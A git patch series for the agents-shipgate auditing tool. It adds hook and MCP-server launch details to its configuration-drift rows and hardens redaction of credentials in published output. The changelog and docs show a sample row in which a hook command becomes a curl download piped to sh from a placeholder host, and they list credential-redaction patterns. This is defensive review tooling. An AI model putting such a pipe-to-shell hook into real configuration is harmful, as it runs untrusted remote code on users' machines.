From b1d43750ac6b4a892d35c4eaef7fa655aa2d52d7 Mon Sep 17 00:00:00 2001 From: pengfei-threemoonslab Date: Tue, 22 Sep 2026 12:05:42 -0700 Subject: [PATCH 01/11] Publish hook matcher, command summary and timeout, and MCP launch arguments (#819) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A hook row read `PostToolUse → PostToolUse` whether the edit was to the hook's matcher, its command or its timeout, and an MCP server whose version pin moved to `@latest` read as a change "in a detail this output does not show": the grants carried none of it, and only `config_sha256` saw the edit. Host-grants inventory, baseline and drift move to 0.7 and the runtime contract to 41. A hook grant adds `handlers[]` (each handler's group `matcher`, its `type`, a `command` summary `{env_keys, argv0, args, omitted_args}` and its `timeout`) and `omitted_handlers`; an `mcp_server` grant adds `args` and `omitted_args`. A declaration outside the documented hooks shape publishes `handlers: null` and its row says the detail is not shown. Plugin-selected and Codex hooks keep their loading basis. Every published word passes through the #802 label redaction, with `Bearer` values replaced first; the value after a credential-named flag, of an `env`-style `NAME=value` word and a generated-looking word are ``; leading shell assignments keep only their names; a home path is written from `~`. Words are cut at 80 characters, eight words follow `argv0`, twelve MCP arguments and sixteen handlers are listed, and the text counts the rest. The members display what `config_sha256` already binds, so grant equality and every inventory digest leave them out: a change is a row exactly when it was one before, a 0.6 baseline compares with no new row or reason and its digest still verifies, and `audit --host --save-baseline` may now replace a 0.6 baseline (older ones are still refused). The shared capability rows render the difference for hooks as they do for MCP servers: `PostToolUse: matcher Edit → Edit|Write|Bash`, `PostToolUse: timeout 10 → 600`, `PreToolUse: handler 2 timeout 5 → 50`, `docs: args -y example-mcp-server@1.2.3 → -y example-mcp-server@latest`, in `diff`, `verify` text, the PR comment and `check` text, and as `review.changes[].change` in `diff --json` and `verifier.json`. Row values, the row count, `check`'s boundary result and the envelope's `capability_rows` are unchanged; verifier 0.20 and capability diff 0.3 do not move. Measured against the prepared 1.1.0 commit e3c6cb0c on the 80 vendored benchmark cases: rows byte-identical on all 80, 42 entries on 35 cases gain detail, and all 7 changed hook/MCP entries that were content-free now name their field. The benchmark replays reproduce their run-of-record scores, and the route readiness dry run was rerun for the contract bump (identical cells apart from the two version numbers). Tests: tests/test_hook_mcp_detail_fields.py covers the issue's four fixtures on every route, the published v0.7 schemas, redaction of a token in a command, a secret positional argument, env-style assignments and an over-length command, display-only equality and digests, 0.6 baseline compatibility and re-save, loading basis, and the out-of-shape limit. --- .well-known/agents-shipgate.json | 12 +- AGENTS.md | 6 +- CHANGELOG.md | 8 +- README.md | 19 +- STABILITY.md | 62 +- docs/INDEX.md | 9 +- docs/agent-contract-current.md | 18 +- docs/design-partner-pilot-results.md | 16 +- docs/distribution-surfaces.md | 2 +- docs/host-boundary-support.md | 16 + docs/host-grants-baseline-schema.v0.7.json | 1703 ++++++++++++++++ docs/host-grants-drift-schema.v0.7.json | 318 +++ docs/host-grants-inventory-schema.v0.7.json | 1761 +++++++++++++++++ docs/passed-verdict-contract.md | 2 +- docs/quickstart.md | 27 +- llms-full.txt | 24 +- llms.txt | 6 +- scripts/generate_schemas.py | 24 +- src/agents_shipgate/cli/host_audit.py | 5 +- .../core/capability_diff_rows.py | 242 ++- src/agents_shipgate/core/host_grants.py | 345 +++- src/agents_shipgate/schemas/contract.py | 11 + src/agents_shipgate/schemas/host_grants.py | 122 +- tests/test_agent_instructions_apply.py | 6 +- tests/test_agent_instructions_renderers.py | 6 +- tests/test_distribution_surface_parity.py | 8 +- tests/test_hook_mcp_detail_fields.py | 555 ++++++ tests/test_host_audit.py | 26 +- tests/test_host_diff_review_changes.py | 22 +- tests/test_host_input_recovery.py | 2 +- tests/test_instruction_structure_contracts.py | 2 +- tests/test_local_contract.py | 6 +- tests/test_org_governance.py | 2 +- .../test_reusable_workflow_secret_mappings.py | 8 +- tests/test_workflow_step_action_references.py | 6 +- 35 files changed, 5266 insertions(+), 141 deletions(-) create mode 100644 docs/host-grants-baseline-schema.v0.7.json create mode 100644 docs/host-grants-drift-schema.v0.7.json create mode 100644 docs/host-grants-inventory-schema.v0.7.json create mode 100644 tests/test_hook_mcp_detail_fields.py diff --git a/.well-known/agents-shipgate.json b/.well-known/agents-shipgate.json index 35f50556d..ddee15b23 100644 --- a/.well-known/agents-shipgate.json +++ b/.well-known/agents-shipgate.json @@ -309,9 +309,9 @@ "attestation_schema_version": "0.5", "registry_schema_version": "0.4", "org_evidence_bundle_schema_version": "shipgate.org_evidence_bundle/v2", -

Other handler settings, such as `async`, and a `prompt` handler's prompt are not published. The summary splits the command into words at whitespace outside quotes, removing the quotes and keeping a backslash as written, which is display and not a claim about how a host runs the command or what it does: leading `NAME=value` assignments are named in `env_keys` with their values dropped, the next word is `argv0`, and at most eight words follow it in `args`. For an MCP server, the declared `args`, at most twelve: `[]` when none are declared and `null` when `args` is not a list. A version pin is the argument it is. `endpoint` is unchanged, still the command's name. +- **Redaction.** Every published word passes through the #802 label redaction: known token shapes (`ghp_…`, `AKIA…`, `sk-…`, `xoxb-…`, JWTs, database URLs with credentials), header, `Bearer` and credential assignments, URLs reduced to scheme and host with `/` and no query, and `scheme://` userinfo. Then `` replaces the value after a credential-named flag (`--token X`, `--api-key=X`, `--access-token X`: a flag whose name is, or ends in, a credential word such as `token`, `secret`, `password` or `apikey`), the value of an `env`-style `NAME=value` word with an upper-case name, and a word that reads like a generated key (32 or more hex digits, or 20 or more base64 characters of two classes with high entropy or many letter-digit switches). A hook command's leading assignments keep only their names, in `env_keys`, whatever their case. A path under the reading user's home is written from `~`. A short or word-like secret passed positionally, such as `hunter2`, matches none of these rules and is published as written. +- **Bounds.** A word longer than 80 characters, or a matcher longer than 120, is cut and ends in `…`. `omitted_args` and `omitted_handlers` count the words, arguments and handlers past their bound; at most sixteen handlers per event are listed. +- **Shape.** Only the documented hooks shape is read: a list of matcher groups, each an object with a `hooks` list of objects whose `command`, when present, is a string. Anything else publishes `handlers: null`, and its row reads `PostToolUse: matcher, command and timeout not shown: the declaration is not a list of matcher groups whose hooks are objects`. A plugin-selected hook (#714) and a Codex `.codex/hooks.json` hook publish the handlers their file declares and keep their loading basis: `access`, `risk`, the row's `why` and the expansion signal are unchanged. +- **Display only.** The new members are a redacted, bounded projection of the configuration `config_sha256` is computed from. Grant equality and every inventory digest (a baseline's `inventory_sha256`, the drift and comparison digests) leave them out, so a change is a row exactly when it was one before, and redacting a value never hides one: rotating a positional token is still a row, which says the change is in a redacted or shortened argument. Because a baseline's digest does not cover them, a hand edit to a baseline's copy is not detected; no comparison, row or route reads that copy. +- **The rows.** A changed hook names each differing field with its before and after, `PostToolUse: matcher Edit → Edit|Write|Bash`, `PostToolUse: command bin/lint.sh → curl -s https://example.invalid/ | sh`, `PostToolUse: timeout 10 → 600`; with several handlers, which one (`PreToolUse: handler 2 timeout 5 → 50`); a handler only one side declares as `+handler (…)` or `-handler (…)`, since nothing establishes which handler another replaced; and a reorder as `the same handlers in a different order`. An added or removed hook names its handlers, `SessionEnd (command bin/cleanup.sh)`. A changed MCP server adds `args -y example-mcp-server@1.2.3 → -y example-mcp-server@latest` beside its other published facts, and an added one `docs (command name npx; args -y example-mcp-server@2.0.0)`. When no published field differs, a hook reads `no difference in the matcher, type, command summary or timeout; the change is in a detail this output does not show, such as a redacted or shortened word or another hook setting`, and a command server `no difference in the command name npx, arguments, env key names or header key names; the change is in a detail this output does not show, such as the command's path, a redacted or shortened argument, or another setting`. No entry names a direction (#820). The entry is printed by `diff`, `verify` text, the PR comment and `check` text, and published as `review.changes[].change` in `diff --json` and `verifier.json`. Every row value and the row count are unchanged; `check`'s boundary result and the control envelope's `capability_rows` carry rows alone, as before. + +**Compatibility.** +- **A committed `0.6` baseline** stays comparable.

Every field is read from the drift payload the engine already produces — `risk` is the engine's severity and `expansion_signals` is the engine's word on widening — so there is no second implementation to drift. A `permission_mode` or `sandbox` row names the setting and its value as the file spells it (`enableAllProjectMcpServers: true`, `defaultMode: dontAsk`), recovered from the grant's published value and digest, and a Claude Code setting's `why` is the basis the engine's one setting table (`core/host_settings.py`) records for the value; that table also rates the grant and `check`'s violation, so a row's severity and the violation's risk give one answer (#827, `tests/test_prompt_disabling_settings.py`). `verify`/PR and `check` reuse the host comparator (#684, `tests/test_manifest_free_pr_rows.py`), and the source name each named reusable-workflow secret refers to, also non-widening, with a redacting name or target refused rather than compared, and an unreadable value neither compared nor named on this surface — only the host inventory and `audit --host` name its `job/destination`, as on `1.0.0` (#693, `tests/test_reusable_workflow_secret_mappings.py`); check retains argument redaction and its existing local-policy control. Missing comparison evidence never supplies empty comparable rows. Host route only; workflow rows compare effective writes and reusable secret recipients (#685, `tests/test_workflow_capability_diff.py`) and each job's remote step action references, as a non-widening change (#771, `tests/test_workflow_step_action_references.py`); every job id, step label, trigger and scope name those rows print is the label the engine published once where it built the grant, redacted, never re-derived here; `check`'s workflow evidence is derived from the raw declarations, which it still compares, and redacts job and scope names by the same rule; two distinct job ids or triggers in one workflow, or scope names in one `permissions` mapping, that publish alike are refused rather than compared, so while such a workflow exists `check` refuses on every run even when it is unchanged (#802, `tests/test_workflow_label_redaction.py`); artifact-only edits remain separate evidence. Tool-source subjects are #655. Where a partial or experimental surface is byte-identical on both sides, `diff` and `verify` compare the rest and name it in `unchanged_limits`; `check` keeps refusing, because its boundary result cannot carry a limit yet (#721). A hook row's `why` states the grant's loading basis, read from its published `source`, `access` and `risk` by the engine's `hook_loading_basis`; only a hook the host loads for this project earns an expansion signal — one a settings layer declares, or one a plugin selects that the repository's project settings enable from an in-repository marketplace — so a declared-only hook, or one a plugin selects without that enablement, is a row and never an expansion, and a removal names no basis (#714). `check` compares without a plugin-reference limit both sides share on an untouched source, which it cannot name and, untouched, does not route; a limit only one side carries makes its comparison incomparable. Those rows are not what routes a change: `check`, and the boundary check a manifest-backed `verify` runs, route a changed hook declaration of a plugin the project settings enable through the existing protected-surface rule, from the plugin hook reader's selection on both compared sides, and count a changed hook file such a plugin selects that the reader does not open as incomplete input; the rows beside either are unchanged (#809, `tests/test_enabled_plugin_hook_routing.py`). A partial clone that never fetched the base's objects is refused as `objects_missing`, exit `2`, never compared and never fetched; the refusal ends with the remediation sentence `verify` reports for the same reason, produced by the same function (#817, `tests/test_capability_diff_partial_clone.py`). The text of `diff`, `verify`, the PR comment and `check` reads the rows through one function, `review_changes`, and adds no row and changes no row value in any JSON projection (#795, `tests/test_host_diff_review_changes.py`): a permission rule is named with its disposition; an MCP server with the command name (never its path) or redacted URL and the env and header key names its grant already publishes, redacted and bounded, a URL printing only in the engine's sanitized scheme-and-host form and otherwise as `url not shown`, or, when none of those differ, a sentence naming what was compared and that the change is in a detail not shown, such as the command's path or arguments; an allow rule the permission lattice decided another replaced (`widened` or `narrowed`), or the exact rule text that moved between dispositions in one host and source (`moved`), is one entry, never on the routes that redact rule arguments; and `diff` counts entries `from N rows` when one joins rows. Comparable results with entries end with one review question, naming the row count when an entry joins rows, and every result whose comparison names a base commit and a commit or working-tree head — a zero-row result and a refusal included (#812 follow-up, `tests/test_host_comparison_coverage.py`) — ends with the compared commits, the tool version and an `agents-shipgate diff --base ` reproduction, labelled `Inputs:` rather than `Compared:` where the comparison was refused, since that run compared nothing — and a refused comparison publishes no `review` object at all, so those two lines are the only place that run states its provenance, built from the `base_commit` it publishes beside the refusal; `check` and a provided diff print the question alone, and no result without a change asks a question. Every one of those facts is published beside the rows, so a machine consumer reads what a human reads (#795 slice 2, same test file): a row adds `disposition`, the `allow`/`ask`/`deny` list a permission rule is declared under and `null` for any other kind, on every route that publishes rows; and `review` in `diff --json` (capability diff `0.3`) and `host_comparison.review` in `verifier.json` (verifier `0.20`) — one object for one comparison — carry the presented changes, each naming the `row_indexes` it stands for, the `direction` the text uses (`widened`, `narrowed` and `moved` included, which no single row can carry), its cells, its `why` and one `expands`, plus a `summary` of `{rows, changes, widenings}` equal to `diff`'s summary line, the review question and the reproduction command. The block is refused unless its changes stand for every published row exactly once, its counters match and no joined change's two sides read alike, so the routes that redact rule arguments publish their rows alone and never a pair that reads `X → X`; `check`'s boundary result carries rows, with their dispositions, and no block. It is presentation, not a second opinion: it is the one `review_changes` projection the text prints, so the rows, their values, their count and every control answer are what they were. A comparison read back from JSON prints the changes it published, and one whose rows a caller sliced falls back to those rows. Each comparison also says what it established (#812, `tests/test_host_comparison_coverage.py`): `coverage` in `diff --json` (capability diff `0.3`) and `host_comparison.coverage` in `verifier.json` (verifier `0.20`) are the same object, printed as `What this run established` by `diff`, `verify` text and the PR comment. It is read off the grant changes, artifact changes, observed sources and blocking issues the comparator already computed: a file's rows, counting a source inside it (`#profiles.`, `#plugins.`); a file with no row and no artifact change called unchanged (`compared`, `0` rows) only when Git proves its blob identical, as the check `unchanged_limits` uses does, asked privately in one bounded batch and never published, because the artifact digest redacts `env` values and `apiKeyHelper`; a file that changed with no compared grant moving (`changed_without_grant_change`), whose artifact differs only in its digest or whose content Git shows differs while its artifact did not (never a difference a checkout line-ending conversion or a converting attribute explains, and no filter is run), never a plugin manifest or marketplace, a retargeted link or project settings while a hook's loading basis moved, worded as no compared grant changing and never as which fields changed; any other changed file with no row (`changed_without_rows`); a file Git neither proves identical nor shows differs — a provided diff, a link read, a redacted path, a working-tree file a checkout wrote with `CRLF` that Git reports unchanged — as `unchanged_not_proven`, never no change and never a change (#812 review cycle 3); the side that published a source, worded `published by` rather than `read in` for a plugin manifest or marketplace, which is published only while it declares hooks; and on a refused comparison each blocking source and its kind. Outside the bounded candidate rules below, a file no inventory observed is never an item and its absence is no claim, which the block states where it is read — one line under the heading and `read_sources_only` in the JSON — so a true list cannot be taken for the account of the change (#812 follow-up); a source already in `unchanged_limits` is not repeated; the list is capped at ten with `omitted_items`, ordered so what no row shows precedes a file's rows and, among blocking limits, by kind (`unreadable`, `parse_failed`, `unresolved_precedence`, then `unsupported`, `dynamic_source_excluded`, `remote_source_excluded`) — order, not severity, and a ranking of kinds rather than of items, since `unsupported` carries both a file this entry merely does not accept and one whose own text would not parse, so an item behind the count may still be one to repair; total down to every field an item is keyed by, the source name and then its side, limit and status — and counted in text as items not listed, ranked below those listed, and the PR comment lists only what fits in the room its entries, review question, reproduction, advisory, next action and evidence leave, at most 2000 characters, so the block never pushes out a line the comment prints without it (a row list that fills the comment by itself still truncates it, as on `1.0.0`); an instruction file's line carries no redacted-values note; sources are the inventory's redacted paths; `null` means not recorded, which is how a `0.19` verifier reads. It moves no row, reason, digest, baseline, control state or next action, and `check`'s boundary result and text carry none, so neither `check` nor a provided diff asks Git anything for it. The same list names the changed inputs this entry does not read (#821, `tests/test_unread_changed_inputs.py`): capability diff `0.4` and verifier `0.21` add a `changed_not_read` item, with the `candidate` rule that named it, for each path in the comparison's own changed-file set — the committed change, or the working tree's tracked and untracked changes — that a bounded, documented rule set recognises as plausibly agent configuration (`mcp.json` in a plugin directory, a plugin manifest's `mcpServers`, a Codex, Cursor or Copilot manifest's `hooks` and the hook files it names, a manifest or marketplace that does not parse, `.cursor/hooks.json`, host settings below the repository root, a marketplace entry's external `source`) and that no inventory published; a member is named whatever read its file, because no reader reads it. It is named from the path and, for a manifest or marketplace member, its text: nothing is fetched, run or read as a grant, so it is never a row, a widening, a `check` violation or a loading claim, and an external source is described redacted and never fetched. It ranks right after the blocking limits, inside the same cap; `read_sources_only` is `false` while one is named, and the first line says so instead; `unread_candidates` and `unread_candidates_not_examined` say whether the change set was examined and how many candidates were not — past the bound of 32, or because a file the rule needed was not read or did not parse, one count the text names both causes of. A manifest-free `verify` whose only host-relevant change is such an input, or a changed candidate it counts as not examined, publishes the comparison instead of the setup route, and `verify --preview` then names `audit --host` instead of `init --write`, in an agent-related workspace too; a `0.20` verifier reads with the search not recorded. A comparison refused only by plugin-reference limits, each bounded by its plugin directory, that no compared source depends on, is `partial` instead (#808, `tests/test_partial_host_comparison.py`); any other blocking limit it carries must be one both sides share on an unchanged source, named in `unchanged_limits` as on a comparable result. Capability diff `0.4` and verifier `0.21` publish `comparison_status: partial` with the refusal's `incomparable_reasons`, the rows, review and unchanged limits established outside those directories, and each directory (the outermost, where one holds another) as the reserved `coverage.items[].scope` on the `blocking_limit` items it bounds, and never call a changed project settings file without a row `changed_without_grant_change`, since the hooks whose loading basis it decides are not all compared; `diff`, `verify` text and the PR comment lead with `Partial comparison against …` or `Host capability comparison partial: …` and `Not compared: , …` before any entry, and a partial result with no entry is never printed as no change. Independence is read off the reader's reference graph, never off directory names: any other limit that is not unchanged, a reference leaving its plugin, a plugin at the root or holding project settings, a marketplace elsewhere declaring inline hooks for it, or a directory that does not publish as itself refuses as before. It answers no engine question and moves no control: a partial comparison is not comparable, `verify`'s control and route are the refusal's, the control envelope projects it as `incomparable` with no rows, and `check`, whose boundary result cannot name a directory, refuses its comparison and decides exactly as before. A `0.20` verifier claiming a partial comparison or a scope is refused. | +| `capability_diff` | `src/agents_shipgate/cli/diff.py`, `src/agents_shipgate/core/capability_diff_rows.py`, `src/agents_shipgate/core/host_comparison.py`, `src/agents_shipgate/report/host_comparison.py`, `src/agents_shipgate/core/unread_inputs.py`, `src/agents_shipgate/cli/verify/changed_inputs.py` | — | — | Answers no question the engine answers: it emits no verdict, no release decision and no pin. Every field is read from the drift payload the engine already produces — `risk` is the engine's severity and `expansion_signals` is the engine's word on widening — so there is no second implementation to drift. A `permission_mode` or `sandbox` row names the setting and its value as the file spells it (`enableAllProjectMcpServers: true`, `defaultMode: dontAsk`), recovered from the grant's published value and digest, and a Claude Code setting's `why` is the basis the engine's one setting table (`core/host_settings.py`) records for the value; that table also rates the grant and `check`'s violation, so a row's severity and the violation's risk give one answer (#827, `tests/test_prompt_disabling_settings.py`). `verify`/PR and `check` reuse the host comparator (#684, `tests/test_manifest_free_pr_rows.py`), and the source name each named reusable-workflow secret refers to, also non-widening, with a redacting name or target refused rather than compared, and an unreadable value neither compared nor named on this surface — only the host inventory and `audit --host` name its `job/destination`, as on `1.0.0` (#693, `tests/test_reusable_workflow_secret_mappings.py`); check retains argument redaction and its existing local-policy control. Missing comparison evidence never supplies empty comparable rows. Host route only; workflow rows compare effective writes and reusable secret recipients (#685, `tests/test_workflow_capability_diff.py`) and each job's remote step action references, as a non-widening change (#771, `tests/test_workflow_step_action_references.py`); every job id, step label, trigger and scope name those rows print is the label the engine published once where it built the grant, redacted, never re-derived here; `check`'s workflow evidence is derived from the raw declarations, which it still compares, and redacts job and scope names by the same rule; two distinct job ids or triggers in one workflow, or scope names in one `permissions` mapping, that publish alike are refused rather than compared, so while such a workflow exists `check` refuses on every run even when it is unchanged (#802, `tests/test_workflow_label_redaction.py`); artifact-only edits remain separate evidence. Tool-source subjects are #655. Where a partial or experimental surface is byte-identical on both sides, `diff` and `verify` compare the rest and name it in `unchanged_limits`; `check` keeps refusing, because its boundary result cannot carry a limit yet (#721). A hook row's `why` states the grant's loading basis, read from its published `source`, `access` and `risk` by the engine's `hook_loading_basis`; only a hook the host loads for this project earns an expansion signal — one a settings layer declares, or one a plugin selects that the repository's project settings enable from an in-repository marketplace — so a declared-only hook, or one a plugin selects without that enablement, is a row and never an expansion, and a removal names no basis (#714). `check` compares without a plugin-reference limit both sides share on an untouched source, which it cannot name and, untouched, does not route; a limit only one side carries makes its comparison incomparable. Those rows are not what routes a change: `check`, and the boundary check a manifest-backed `verify` runs, route a changed hook declaration of a plugin the project settings enable through the existing protected-surface rule, from the plugin hook reader's selection on both compared sides, and count a changed hook file such a plugin selects that the reader does not open as incomplete input; the rows beside either are unchanged (#809, `tests/test_enabled_plugin_hook_routing.py`). A partial clone that never fetched the base's objects is refused as `objects_missing`, exit `2`, never compared and never fetched; the refusal ends with the remediation sentence `verify` reports for the same reason, produced by the same function (#817, `tests/test_capability_diff_partial_clone.py`). The text of `diff`, `verify`, the PR comment and `check` reads the rows through one function, `review_changes`, and adds no row and changes no row value in any JSON projection (#795, `tests/test_host_diff_review_changes.py`): a permission rule is named with its disposition; an MCP server with the command name (never its path) or redacted URL, its launch arguments (#819) and the env and header key names its grant already publishes, redacted and bounded, a URL printing only in the engine's sanitized scheme-and-host form and otherwise as `url not shown`, or, when none of those differ, a sentence naming what was compared and that the change is in a detail not shown, such as the command's path or a redacted or shortened argument; a hook with each handler field that changed — its group's matcher, its type, its command summary, its timeout — before and after, a handler only one side declares, or a reorder, all read from the handlers its host-grants `0.7` grant publishes, redacted and bounded by the engine where it built the grant and never re-derived here, and a declaration outside the documented hooks shape named as not shown rather than guessed (#819, `tests/test_hook_mcp_detail_fields.py`); those hook and MCP members display what `config_sha256` already binds, so grant equality and every inventory digest leave them out and no row, row value, reason, digest or control answer moves; an allow rule the permission lattice decided another replaced (`widened` or `narrowed`), or the exact rule text that moved between dispositions in one host and source (`moved`), is one entry, never on the routes that redact rule arguments; and `diff` counts entries `from N rows` when one joins rows. Comparable results with entries end with one review question, naming the row count when an entry joins rows, and every result whose comparison names a base commit and a commit or working-tree head — a zero-row result and a refusal included (#812 follow-up, `tests/test_host_comparison_coverage.py`) — ends with the compared commits, the tool version and an `agents-shipgate diff --base ` reproduction, labelled `Inputs:` rather than `Compared:` where the comparison was refused, since that run compared nothing — and a refused comparison publishes no `review` object at all, so those two lines are the only place that run states its provenance, built from the `base_commit` it publishes beside the refusal; `check` and a provided diff print the question alone, and no result without a change asks a question. Every one of those facts is published beside the rows, so a machine consumer reads what a human reads (#795 slice 2, same test file): a row adds `disposition`, the `allow`/`ask`/`deny` list a permission rule is declared under and `null` for any other kind, on every route that publishes rows; and `review` in `diff --json` (capability diff `0.3`) and `host_comparison.review` in `verifier.json` (verifier `0.20`) — one object for one comparison — carry the presented changes, each naming the `row_indexes` it stands for, the `direction` the text uses (`widened`, `narrowed` and `moved` included, which no single row can carry), its cells, its `why` and one `expands`, plus a `summary` of `{rows, changes, widenings}` equal to `diff`'s summary line, the review question and the reproduction command. The block is refused unless its changes stand for every published row exactly once, its counters match and no joined change's two sides read alike, so the routes that redact rule arguments publish their rows alone and never a pair that reads `X → X`; `check`'s boundary result carries rows, with their dispositions, and no block. It is presentation, not a second opinion: it is the one `review_changes` projection the text prints, so the rows, their values, their count and every control answer are what they were. A comparison read back from JSON prints the changes it published, and one whose rows a caller sliced falls back to those rows. Each comparison also says what it established (#812, `tests/test_host_comparison_coverage.py`): `coverage` in `diff --json` (capability diff `0.3`) and `host_comparison.coverage` in `verifier.json` (verifier `0.20`) are the same object, printed as `What this run established` by `diff`, `verify` text and the PR comment. It is read off the grant changes, artifact changes, observed sources and blocking issues the comparator already computed: a file's rows, counting a source inside it (`#profiles.`, `#plugins.`); a file with no row and no artifact change called unchanged (`compared`, `0` rows) only when Git proves its blob identical, as the check `unchanged_limits` uses does, asked privately in one bounded batch and never published, because the artifact digest redacts `env` values and `apiKeyHelper`; a file that changed with no compared grant moving (`changed_without_grant_change`), whose artifact differs only in its digest or whose content Git shows differs while its artifact did not (never a difference a checkout line-ending conversion or a converting attribute explains, and no filter is run), never a plugin manifest or marketplace, a retargeted link or project settings while a hook's loading basis moved, worded as no compared grant changing and never as which fields changed; any other changed file with no row (`changed_without_rows`); a file Git neither proves identical nor shows differs — a provided diff, a link read, a redacted path, a working-tree file a checkout wrote with `CRLF` that Git reports unchanged — as `unchanged_not_proven`, never no change and never a change (#812 review cycle 3); the side that published a source, worded `published by` rather than `read in` for a plugin manifest or marketplace, which is published only while it declares hooks; and on a refused comparison each blocking source and its kind. Outside the bounded candidate rules below, a file no inventory observed is never an item and its absence is no claim, which the block states where it is read — one line under the heading and `read_sources_only` in the JSON — so a true list cannot be taken for the account of the change (#812 follow-up); a source already in `unchanged_limits` is not repeated; the list is capped at ten with `omitted_items`, ordered so what no row shows precedes a file's rows and, among blocking limits, by kind (`unreadable`, `parse_failed`, `unresolved_precedence`, then `unsupported`, `dynamic_source_excluded`, `remote_source_excluded`) — order, not severity, and a ranking of kinds rather than of items, since `unsupported` carries both a file this entry merely does not accept and one whose own text would not parse, so an item behind the count may still be one to repair; total down to every field an item is keyed by, the source name and then its side, limit and status — and counted in text as items not listed, ranked below those listed, and the PR comment lists only what fits in the room its entries, review question, reproduction, advisory, next action and evidence leave, at most 2000 characters, so the block never pushes out a line the comment prints without it (a row list that fills the comment by itself still truncates it, as on `1.0.0`); an instruction file's line carries no redacted-values note; sources are the inventory's redacted paths; `null` means not recorded, which is how a `0.19` verifier reads. It moves no row, reason, digest, baseline, control state or next action, and `check`'s boundary result and text carry none, so neither `check` nor a provided diff asks Git anything for it.

fields (#819) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Refs #819 A header credential after any scheme other than Bearer was published. The label rule replaces only the first word after `Authorization:`, and the detail pre-pass special-cased only `Bearer`, so `Authorization: Basic ` printed as `Authorization: ` in hook commands and MCP arguments on every route, and `Authorization: Bot `, `X-Auth-Token: ` and `api-key: ` printed their token. `_detail_label` now runs the label rule and then replaces the whole value of a credential written `Name: value`, the scheme included, up to the closing quote or the end of the text: `Authorization`, `Proxy-Authorization`, `Cookie`, `Set-Cookie` and any header or key whose name is, or ends in, a credential word (`X-Auth-Token`, `api-key`, `X-API-Key`, a JSON `"token":`). All three schemes now publish `Authorization: `. The name only starts where a run of name characters starts, so the scan stays linear. The Bearer pre-pass is no longer needed and is gone. `audit --host --save-baseline` wrote hook commands and MCP arguments into the committed baseline, including ones read from `~/.claude/settings.json`, `~/.cursor/mcp.json` or managed settings under `--scope local-static`, or from a git-ignored `.claude/settings.local.json` in either scope. Those values were never in the repository, and a short positional password such as `-p hunter2` matches no word rule. A saved baseline now holds each grant as comparisons read it (`compared_grant`), with no `handlers`, `omitted_handlers`, `args` or `omitted_args`. `HostGrantsBaselineV7` keeps the 0.6 snapshot, which forbids those members, so a saved 0.7 baseline's grants are exactly a 0.6 baseline's. Nothing read them before. `inventory_sha256` is unchanged: the reviewer's fake-HOME reproduction gives the same `5e406f56cd73…` digest before and after, with 4 leaked values before and 0 after. A comparison between two commits still renders both sides' detail through `host_comparison_baseline`, which applies the saved baseline's checks to the full normalized inventory and is never saved. MCP-argument redaction is now at least what the digest's input redacts. The word after any item the digest's list rule treats as a credential marker is ``, with or without dashes (`token X`, `password X`); that rule is factored into `_is_list_secret_marker`, which the digest and the display share. `--auth X` is redacted, as the hook string rule already did. A flag name is read with every character but letters and digits removed, so `--brave_api_key` matches the `apikey` ending. From the non-blocking notes: `-u`/`--user`/`-U`/`--proxy-user` values keep the user and lose the password after `:`. A timeout of `5` becoming `5.0` now reads `timeout 5 → 5.0`, because handler fields are compared as their JSON publishes them. Tests: the credential canary sweep adds a Basic header, a custom `X-Auth-Token` header and `-u user:password` in a hook, and a Basic header, an `api-key:` header, a bare `token`, `--auth` and `--brave_api_key` in MCP arguments. It now also checks the saved baseline. The per-argument rule test takes lists, so it pins the next-word cases the reviewer named. A new test checks that every argument the digest's input redacts is published redacted. A local-static baseline saved with a fake HOME holds none of its hook or MCP values while the inventory still shows them, and still compares with no drift. A repository baseline holds nothing from `.claude/settings.local.json`. `5` to `5.0` names both values. The baseline 0.7 schema is regenerated, which differs from 0.6 only in its version. STABILITY's migration note gains a Saved baselines bullet, its redaction bullet is restated, and "a hand edit to a baseline's copy" is gone because there is no copy. The CHANGELOG, host-boundary support doc, agent contract and distribution-surfaces row now say the same, and the row's redaction claim is narrowed to "permission-rule argument redaction". llms-full.txt is rebuilt. `diff --json` over the 80 vendored benchmark cases gives rows byte-identical to the prepared 1.1.0 commit on all 80. Review entries are identical to the previous head on all 80, and 42 entries on 35 cases differ from 1.1.0, as the CHANGELOG states. Rebased onto main after #853 moved the published-release pins to v1.1.0. The conflict resolutions landed in the rebased first commit. The README and quickstart quotes now include the `billing` server's `args`, which the published 1.1.0 does not print, so `test_host_diff_entry_docs` requires both pages to use the not-yet-released label. Each page names the published `1.1.0` and says what it prints instead. llms.txt and the AI-search summary name v1.1.0 (contract 40) as published and this tree's contract 41 as unreleased. The pilot ledger keeps main's 2026-09-22 v1.1.0 measurement and the #819 source-tree rerun beside the 1.1.0 release commit, and its source-tree column reads contract 41 and inventory schema 0.7. --- CHANGELOG.md | 3 +- STABILITY.md | 16 +- docs/agent-contract-current.md | 4 +- docs/distribution-surfaces.md | 2 +- docs/host-boundary-support.md | 5 +- docs/host-grants-baseline-schema.v0.7.json | 165 ++---------- llms-full.txt | 4 +- .../core/capability_diff_rows.py | 34 +-- src/agents_shipgate/core/host_comparison.py | 4 +- src/agents_shipgate/core/host_grants.py | 177 +++++++++++-- src/agents_shipgate/schemas/host_grants.py | 20 +- tests/test_hook_mcp_detail_fields.py | 236 ++++++++++++++++-- 12 files changed, 441 insertions(+), 229 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 4589e136f..9cad9abee 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -14,7 +14,8 @@ - A hook row now names what changed in the hook, and an MCP row names the server's launch arguments. Before, `diff`, `verify`, the manifest-free PR comment and `check` printed `PostToolUse → PostToolUse` whether the edit was to the hook's matcher, its command or its timeout, and an MCP server whose version pin moved from `example-mcp-server@1.2.3` to `@latest` read `docs: no difference in the command name npx, env key names or header key names; the change is in a detail this output does not show, such as the command's path or arguments`: the grants carried none of it, and only `config_sha256` saw the edit. On five of 23 public pull requests measured on 2026-09-15, the hook rows showed only event names. (#819, slice 2 of #795; direction is #820, an unpinned-launch note #825) - **The rows a reviewer reads:** `PostToolUse: matcher Edit → Edit|Write|Bash`, `PostToolUse: command bin/lint.sh → curl -s https://example.invalid/ | sh`, `PostToolUse: timeout 10 → 600` and `docs: args -y example-mcp-server@1.2.3 → -y example-mcp-server@latest`, in `diff`, `verify` text, the PR comment and `check` text, and in `review.changes[].change` in `diff --json` and `verifier.json`. With several handlers under one event the entry names which one (`handler 2 timeout 